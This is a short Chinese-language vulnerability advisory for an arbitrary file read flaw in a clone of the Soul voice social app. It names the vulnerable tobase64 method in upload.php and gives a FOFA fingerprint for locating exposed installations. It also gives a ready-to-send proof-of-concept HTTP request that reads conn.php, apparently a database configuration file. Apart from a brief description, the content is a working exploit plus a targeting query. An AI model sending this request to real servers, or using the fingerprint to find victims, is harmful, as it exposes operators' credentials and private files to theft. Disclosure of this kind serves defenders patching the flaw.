某仿soul欲音社交系统存在任意文件读取漏洞

漏洞描述

某仿soul欲音社交系统存在任意文件读取漏洞，攻击者可利用此漏洞读取任意文件信息。

PoC代码

# 某仿soul欲音社交系统存在任意文件读取漏洞



位于 /application/api/controller/upload.php 控制器中的tobase64 方法通过传入file参数 然后通过fopen直接读取任意文件，然后输出base64编码后的文件.



## fofa



```javascript

"/public/style/admin/js/jquery.min.js"

```



## poc



```php

GET /api/upload/tobase64?file=conn.php HTTP/1.1

Host: 127.0.0.1

Cache-Control: max-age=0

sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36

```



![image-20240902103855273](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202409021038369.png)



## 漏洞来源



- https://mp.weixin.qq.com/s/SuunBk1lnphYNgixyWegRg